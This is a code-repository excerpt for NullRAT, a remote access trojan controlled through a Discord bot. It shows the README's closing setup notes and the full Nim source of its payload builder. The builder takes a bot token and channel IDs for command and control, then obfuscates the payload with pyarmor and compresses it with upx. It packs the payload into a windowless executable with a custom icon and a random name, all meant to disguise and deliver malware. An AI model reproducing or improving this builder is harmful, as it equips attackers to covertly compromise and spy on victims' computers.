92 | - Store the [Notification ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id) and [Server ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids) along with the token for ease of access
93 |
94 | #### Steps:
95 | 1. Dowload the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported]
96 | 2. Run the Compiler and follow the prompts. NullRAT payload will be right there!
97 |
98 | - **Video tutorial:** Soon
99 | - **NullRAT Discord:** Soon
100 |
101 |
102 |
103 |
104 |
105 | > # Credits:
106 |
107 | - Treeform for puppy
108 | - All my testers on GitHub
109 |
110 | **Since this is a project I work on whenever I'm bored/depressed, you do not have the right to ask for any ETAs.**
111 |
112 | **Thank you for your consideration**
113 |
114 | ---
115 |
116 | **Infecting others via NullRAT without their permission is obviously not supported by me.**
117 |
118 | Software designed by NullCode
119 |
--------------------------------------------------------------------------------
/VERSION:
--------------------------------------------------------------------------------
1 | XI
--------------------------------------------------------------------------------
/compiler.nim:
--------------------------------------------------------------------------------
1 | import std/terminal
2 | import std/os
3 | import std/osproc
4 | import std/random
5 | import std/envvars
6 | import std/[strutils, strformat]
7 | import puppy
8 | import std/streams
9 |
10 | randomize()
11 |
12 | # Windows-only
13 | proc cls() =
14 | discard execShellCmd("cls")
15 |
16 | discard execShellCmd("title NullRAT Builder");
17 | discard execShellCmd("chcp 65001 & color 4");
18 | discard execShellCmd("mode con: cols=80 lines=29");
19 |
20 | proc cleanWorkingDir() =
21 | echo ""
22 | var dirrr = getAppDir();
23 | setCurrentDir(dirrr);
24 | echo getCurrentDir();
25 | if dirExists(absolutePath("NullRAT")):
26 | createDir("NullRAT2")
27 | moveFile(absolutePath("NullRAT" / "custom_icon.ico"), dirrr / "NullRAT2" / "custom_icon.ico")
28 | moveFile(absolutePath("NullRAT" / "RAT.py"), dirrr / "NullRAT2" / "RAT.py")
29 | moveDir(absolutePath("NullRAT" / "modules"), dirrr / "NullRAT2" / "modules")
30 | moveDir(absolutePath("NullRAT" / "upx"), dirrr / "NullRAT2" / "upx")
31 | # check existing variables
32 | if fileExists(absolutePath("NullRAT" / "Variables.py")):
33 | var inp: char
34 | echo "Existing Variables file found! Preserve? (y/N)"
35 | inp = getch()
36 | if inp == 'Y' or inp == 'y':
37 | moveFile(absolutePath("NullRAT" / "Variables.py"), dirrr / "NullRAT2" / "Variables.py")
38 | removeDir("NullRAT")
39 | moveDir(dirrr / "NullRAT2", dirrr / "NullRAT")
40 | removeFile("AIO.bat")
41 | removeFile("AIO_Legacy.bat")
42 |
43 | # remove git stuff if downloaded from source
44 | if dirExists(absolutePath(".git")):
45 | echo "Remove git files? (y/N)"
46 | var inpu: char = getch()
47 | if inpu == 'y' or inpu == 'Y':
48 | removeDir(".git")
49 | removeFile("README.md")
50 | removeFile("Getting Variables.md")
51 | removeFile(".gitignore")
52 |
53 | removeFile("RAT.exe")
54 | removeDir("build")
55 | removeDir("dist")
56 |
57 | cls()
58 |
59 | proc printName() =
60 | cls()
61 | echo ""
62 | stdout.styledWriteLine(fgRed, " ███╗ ██╗██╗ ██╗██╗ ██╗ ██████╗ █████╗ ████████╗")
63 | stdout.styledWriteLine(fgRed, " ████╗ ██║██║ ██║██║ ██║ ██╔══██╗██╔══██╗╚══██╔══╝")
64 | stdout.styledWriteLine(fgRed, " ██╔██╗ ██║██║ ██║██║ ██║ ██████╔╝███████║ ██║")
65 | stdout.styledWriteLine(fgRed, " ██║╚██╗██║██║ ██║██║ ██║ ██╔══██╗██╔══██║ ██║")
66 | stdout.styledWriteLine(fgRed, " ██║ ╚████║╚██████╔╝███████╗███████╗██║ ██║██║ ██║ ██║")
67 | stdout.styledWriteLine(fgRed, " ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝")
68 | stdout.styledWriteLine(fgRed, " =========================================================")
69 | echo ""
70 |
71 | proc compiler(): int =
72 | printName()
73 | var dirr = getAppDir()
74 | setCurrentDir(dirr / "NullRAT")
75 |
76 | stdout.styledWriteLine({styleBright}, " >> Stub Compiler <<")
77 | echo ""
78 | var obfuscate: bool
79 | var compress: bool
80 | var icon: bool = false
81 |
82 | # Check Python version, pyarmor no longer supports 3.11+
83 | var status = execProcess("python --version")
84 | for i in ["3.11", "3.12", "3.13", "3.14"]:
85 | if i in status:
86 | echo "Python ", i, " is not supported!\nUninstall and run the compiler again to auto-download the correct version!"
87 | sleep(5000)
88 | quit(0)
89 |
90 | stdout.styledWriteLine({styleBright}, "Do you want to obfuscate the executable? (Y/n)")
91 | var input: char = getch()
92 | if input == 'N' or input == 'n':
93 | obfuscate = false
94 | elif input == 'Q' or input == 'q':
95 | return 0
96 | else:
97 | obfuscate = true
98 |
99 | stdout.styledWriteLine({styleBright}, "Do you want to compress the executable? (Y/n)")
100 | input = getch()
101 | if input == 'N' or input == 'n': compress = false
102 | elif input == 'Q' or input == 'q': return 0
103 | else: compress = true
104 |
105 | stdout.styledWriteLine({styleBright}, "Do you want to set a custom icon? (y/N)")
106 | input = getch()
107 | var iconPath: string
108 | if input == 'Y' or input == 'y':
109 | icon = true
110 | echo "Drag and drop .ico file here, and press ENTER..."
111 | echo "(Or type it's full path)"
112 | iconPath = readLine(stdin);
113 | iconPath = iconPath.strip();
114 | while fileExists(iconPath) == false:
115 | echo "Icon file not found! Please try again."
116 | iconPath = readLine(stdin)
117 | elif input == 'Q' or input == 'q': return 0
118 | else: icon = false
119 |
120 | printName()
121 | echo "All options selected: "
122 | echo "---------------------"
123 | if obfuscate: echo "Executable will be obfuscated (w/ pyarmor)"
124 | if compress:
125 | var path = getEnv("path")
126 | if path[^1] == ';':
127 | putEnv("path", fmt"{path}{dirr}\NullRAT\upx;")
128 | else:
129 | putEnv("path", fmt"{path};{dirr}\NullRAT\upx;")
130 | echo "Executable will be compressed (w/ upx)"
131 | if icon:
132 | echo "Executable will have custom icon"
133 | echo "Path: ", iconPath
134 | echo ""
135 | stdout.styledWriteLine(fgRed, {styleBright}, "Would you like to compile now? (Y/n)")
136 | input = getch()
137 | if input == 'N' or input == 'n':
138 | echo "- User declined request. Aborting..."
139 | sleep(1500)
140 | return 0
141 | elif input == 'Q' or input == 'q': return 0
142 | else:
143 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Compiling using selected settings...")
144 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Checking pyinstaller...")
145 | var pyinst: string = "undef";
146 | var armor: string = "undef";
147 | # Find working pyinstaller executable
148 | var wherePy: seq[string]
149 | try:
150 | wherePy = splitLines(execCmdEx("where pyinstaller").output)
151 | for pyinstaller in wherePy:
152 | if pyinstaller == "": continue
153 | var code = execCmdEx(pyinstaller).exitCode
154 | if code == 2:
155 | pyinst = pyinstaller
156 | break
157 | if "undef" notin pyinst:
158 | echo "Found! ", pyinst
159 | else:
160 | echo "[FATAL] Pyinstaller executable not found."
161 | echo "Please check your environment variables and python installation"
162 | echo "before continuing..... Exiting in 5 seconds"
163 | sleep(5000)
164 | return 0
165 | except OSError:
166 | # Modules not in path, try to find scripts directory
167 | echo "PyInstaller executable not found"
168 | echo "Attempting to locate the executable in AppData....."
169 | var localappdata = getEnv("localappdata")
170 | for path in walkDirRec(localappdata):
171 | if "pyinstaller" in path:
172 | echo "Found!", path
173 | pyinst = path
174 | break
175 | var roamingappdata = getEnv("appdata")
176 | for path in walkDirRec(roamingappdata):
177 | if "pyinstaller" in path:
178 | echo "Found!", path
179 | pyinst = path
180 | break
181 | if "undef" in pyinst:
182 | echo "[FATAL] Pyinstaller executable not found!"
183 | echo "Have you put Scripts directory in PATH?"
184 | echo "\nExiting in 5 seconds....."
185 | sleep(5000)
186 | return 0
187 |
188 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Checking pyarmor...")
189 | # Find working pyarmor executable
190 | try:
191 | var whereArmor = splitLines(execCmdEx("where pyarmor-7").output)
192 | for pyarmor in whereArmor:
193 | if pyarmor == "":
194 | continue
195 | var code = execCmdEx(pyarmor).exitCode
196 | if code == 2:
197 | armor = pyarmor
198 | break
199 | if "undef" notin armor:
200 | echo "Found! ", armor
201 | else:
202 | echo "[FATAL] PyArmor executable not found!"
203 | echo "Have you put Scripts directory in PATH?"
204 | echo "\nExiting in 5 seconds....."
205 | sleep(5000)
206 | return 0
207 | except OSError:
208 | # Modules not in path, try to find scripts directory
209 | echo "PyArmor executable not found"
210 | echo "Attempting to locate the executable in AppData....."
211 | var localappdata = getEnv("localappdata")
212 | for path in walkDirRec(localappdata):
213 | if "armor" in path:
214 | echo "Found!", path
215 | armor = path
216 | break
217 | var roamingappdata = getEnv("appdata")
218 | for path in walkDirRec(roamingappdata):
219 | if "armor" in path:
220 | echo "Found!", path
221 | armor = path
222 | break
223 | if "undef" in pyinst:
224 | echo "[FATAL] Pyarmor executable not found."
225 | echo "Please check your environment variables and python installation"
226 | echo "before continuing..... Exiting in 5 seconds"
227 | sleep(5000)
228 | return 0
229 |
230 | # Compiling
231 | stdout.styledWriteLine(fgCyan, {styleBright}, "- Creating tempdir...")
232 | var folderName = "compiling-" & $rand(6969)
233 | createDir(folderName)
234 | setCurrentDir(dirr / "NullRAT" / folderName)
235 | var currdir = getCurrentDir()
236 | echo currdir
237 |
238 | echo dirr / "NullRAT" / "RAT.py"
239 | copyFile(dirr / "NullRAT" / "RAT.py", currdir / "RAT.py")
240 | echo dirr / "NullRAT" / "Variables.py"
241 | copyFile(dirr / "NullRAT" / "Variables.py", currdir / "Variables.py")
242 | if icon:
243 | copyFile(iconPath, currdir / "custom_icon.ico")
244 |
245 | var modules: seq[string]
246 | for path in walkDir(dirr / "NullRAT" / "modules"):
247 | if "create_new" in $path.path.split("\\")[^1]:
248 | continue
249 | echo $path.path
250 | copyFile($path.path, currdir / $path.path.split("\\")[^1])
251 | modules.add($path.path.split("\\")[^1])
252 |
253 | var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss"
254 |
255 | var dat: string
256 | if obfuscate:
257 | dat = fmt" --add-data 'Variables.py;.'"
258 | else:
259 | dat = fmt" --add-data ""Variables.py;."""
260 | pyinst_cmd.add(dat)
261 |
262 | var pyarmor_cmd: string
263 | if icon:
264 | if obfuscate:
265 | pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss {dat}"""
266 | else:
267 | pyinst_cmd = pyinst_cmd & " --icon=custom_icon.ico"
268 | pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss {dat}"
269 | moveFile(currdir / "RAT.py", currdir / "765678976567.py")
270 | pyarmor_cmd.add(dat)
271 |
272 | if obfuscate:
273 | for m in modules:
274 | dat = fmt" --add-data '{m};.'"
275 | pyarmor_cmd.add(dat)
276 | else:
277 | for m in modules:
278 | dat = fmt" --add-data ""{m};."""
279 | pyinst_cmd.add(dat)
280 |
281 | pyinst_cmd.add(" 765678976567.py")
282 | pyarmor_cmd.add("""" 765678976567.py""")
283 |
284 | discard execShellCmd("color C")
285 | if obfuscate:
286 | echo pyarmor_cmd
287 | discard execShellCmd(pyarmor_cmd)
288 | else:
289 | echo pyinst_cmd
290 | discard execShellCmd(pyinst_cmd)
291 |
292 | var name = $rand(6969) & ".exe"
293 | if fileExists(currdir / "dist" / "765678976567.exe"):
294 | moveFile(currdir / "dist" / "765678976567.exe", dirr / name)
295 | setCurrentDir(dirr / "NullRAT")
296 | removeDir(folderName)
297 |
298 | printName()
299 | stdout.styledWriteLine(fgGreen, {styleBright}, "Build Successful! Output in " & name)
300 | echo "Press any key to exit..."
301 | discard getch()
302 | quit(0)
303 |
304 | proc variablesCreator(x: int) =
305 | printName()
306 | var dirr = getAppDir()
307 | setCurrentDir(dirr / "NullRAT")
308 |
309 | if x != 1:
310 | stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
311 | if fileExists("Variables.py"):
312 | stdout.styledWriteLine(fgGreen, {styleBright}, "\n- Existing Variables file discovered!")
313 | stdout.styledWriteLine(fgCyan, {styleBright}, "\nStored information\n------------------")
314 | let EnF = readFile("Variables.py")
315 | stdout.styledWriteLine(fgCyan, {styleBright}, EnF)
316 | stdout.styledWriteLine({styleBright}, "\nIs this information correct? (Y/n)")
317 | var input: char = getch()
318 | if input == 'N' or input == 'n':
319 | echo "- Information marked incorrect! Continuing..."
320 | sleep(1000)
321 | printName()
322 | elif input == 'Q' or input == 'q': return
323 | else:
324 | stdout.styledWriteLine(fgGreen, {styleBright}, "- Information marked correct. Preserving...")
325 | sleep(1000)
326 | if compiler() == 0:
327 | return
328 |
329 | stdout.styledWriteLine(fgWhite, {styleBright}, "----------------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n----------------")
330 | stdout.styledWriteLine(fgWhite, {styleBright}, "\n[1] Please enter the Discord bot token: ")
331 | var token = readLine(stdin);
332 | stdout.styledWriteLine(fgWhite, {styleBright}, "[2] Please enter the Server ID: ")
333 | var serverID = readLine(stdin)
334 | stdout.styledWriteLine(fgWhite, {styleBright}, "[3] Please enter the Notification channel ID: ")
335 | var notificationID = readLine(stdin)
336 |
337 | let lines = [
338 | fmt"bot_token = ""{token}""",
339 | "notification_channel = " & notificationID,
340 | "server_ids = [" & serverID & "]"
341 | ]
342 |
343 | var linesString: string = "# This file was auto-generated by NullRAT Builder. DO NOT EDIT!\n"
344 |
345 | printName()
346 | stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
347 | echo "\nObtained information:\n---------------------"
348 |
349 | for line in lines:
350 | if "#" in line: continue
351 | echo line
352 | linesString.add("\n"&line)
353 | echo ""
354 |
355 | stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
356 | var input: char = getch()
357 | if input == 'N' or input == 'n':
358 | echo "- Aborted! Returning to main menu..."
359 | sleep(1500)
360 | variablesCreator(1)
361 | elif input == 'Q' or input == 'q': return
362 | else:
363 | echo "- Information marked correct. Writing..."
364 | removeFile("Variables.py")
365 |
366 | echo linesString
367 | let
368 | fileName = "Variables.py"
369 | str = linesString
370 | writeFile(fileName, str)
371 |
372 | stdout.styledWriteLine({styleBright}, "- Written information to disk!")
373 | echo ""
374 | stdout.styledWriteLine({styleBright}, "Moving on to compiler...")
375 | sleep(3000)
376 | if compiler() == 0:
377 | return
378 |
379 | const pipModules = ["pyinstaller", "virtualenv", "disnake", "requests", "pyarmor", "mss", "psutil"]
380 |
381 | proc packageInstaller() =
382 | printName()
383 | stdout.styledWriteLine({styleBright}, " >> Dependencies Installer <<")
384 | echo ""
385 | stdout.styledWriteLine({styleBright}, "[1] Checking for Python...")
386 | var status: int = execShellCmd("python --version")
387 | var status2: int = execShellCmd("py --version")
388 | if status == 0 or status2 == 0:
389 | stdout.styledWriteLine(fgGreen, {styleBright}, "- Python installed!")
390 | echo ""
391 | stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")
392 | var result = execCmdEx("dism")
393 | try:
394 | result = execCmdEx("pip freeze")
395 | except OSError:
396 | result = execCmdEx("py -m pip freeze")
397 | var allInstalled: bool = true
398 | if result.exitCode != 0:
399 | echo "[FATAL] pip command failed to execute!!"
400 | sleep(2000)
401 | else:
402 | for module in pipModules:
403 | if module notin result.output:
404 | allInstalled = false
405 |
406 | if allInstalled:
407 | stdout.styledWriteLine(fgGreen, {styleBright}, "- All packages installed and detected!\n\nProceeding on with variables creation...")
408 | sleep(1000)
409 | variablesCreator(0)
410 | else:
411 | echo "Some dependencies are not installed!\n"
412 | stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
413 | var res = execShellCmd("pip install pyinstaller virtualenv aiohttp disnake requests mss pyarmor psutil")
414 | if res == 0:
415 | echo "========================"
416 | stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
417 | sleep(2000)
418 | variablesCreator(0)
419 | else:
420 | var res = execShellCmd("py -m pip install pyinstaller virtualenv aiohttp disnake requests mss pyarmor psutil")
421 | if res == 0:
422 | echo "========================"
423 | stdout.styledWriteLine(fgGreen, {styleBright}, "All Installed!\nMoving to variables creation...")
424 | sleep(2000)
425 | variablesCreator(0)
426 | else:
427 | stdout.styledWriteLine({styleBright}, "- Python not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
428 | var input: char = getch();
429 | if input == 'N' or input == 'n':
430 | echo "NullRAT Builder cannot continue otherwise!!! Exiting in 5 seconds..."
431 | sleep(5000)
432 | quit(1)
433 | elif input == 'Q' or input == 'q': return
434 | else:
435 | var dirr = getAppDir()
436 | stdout.styledWriteLine({styleBright}, "Downloading installer to current directory....")
437 | let response = get("http://www.python.org/ftp/python/3.8.10/python-3.8.10.exe", @[("Content-Type", "application/x-msdownload")])
438 | var strm = newFileStream("python-setup.exe", fmWrite)
439 | strm.write(response.body)
440 | strm.close()
441 | stdout.styledWriteLine(fgGreen, {styleBright}, "Downloaded! https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe")
442 | echo ""
443 | stdout.styledWriteLine({styleBright}, "After running, please tick 'Install for All Users'")
444 | stdout.styledWriteLine({styleBright}, "and 'Add Python 3.8 to PATH', then Install Now")
445 | stdout.styledWriteLine({styleBright}, "After installing, check if everything is functional")
446 | stdout.styledWriteLine({styleBright}, "by running NullRAT builder again.")
447 | echo ""
448 | stdout.styledWriteLine({styleBright}, "Returning to menu after installer is closed...")
449 | discard execCmdEx("python-setup.exe")
450 | return
451 |
452 | proc mainMenu() =
453 | printName();
454 | stdout.styledWriteLine({styleBright}, " >> NullRAT Builder v1.2 <<")
455 | echo ""
456 | stdout.styledWriteLine(fgGreen, {styleBright}, " - HINT! Press Q in any window to immediately return here!")
457 | stdout.styledWriteLine({styleBright}, "\n Press any key to continue,\n E/Q to exit,\n R to clear working directory,\n C to directly move to compiler (do this at your own risk)...")
458 | var input: char = getch();
459 | if input == 'E' or input == 'e' or input == 'Q' or input == 'q':
460 | quit(0)
461 | elif input == 'C' or input == 'c':
462 | discard compiler()
463 | quit(0)
464 | elif input == 'R' or input == 'r':
465 | cleanWorkingDir()
466 | else:
467 | packageInstaller()
468 |
469 | while true:
470 | mainMenu();
471 | #stdout.styledWriteLine(fgRed, "")
472 |
--------------------------------------------------------------------------------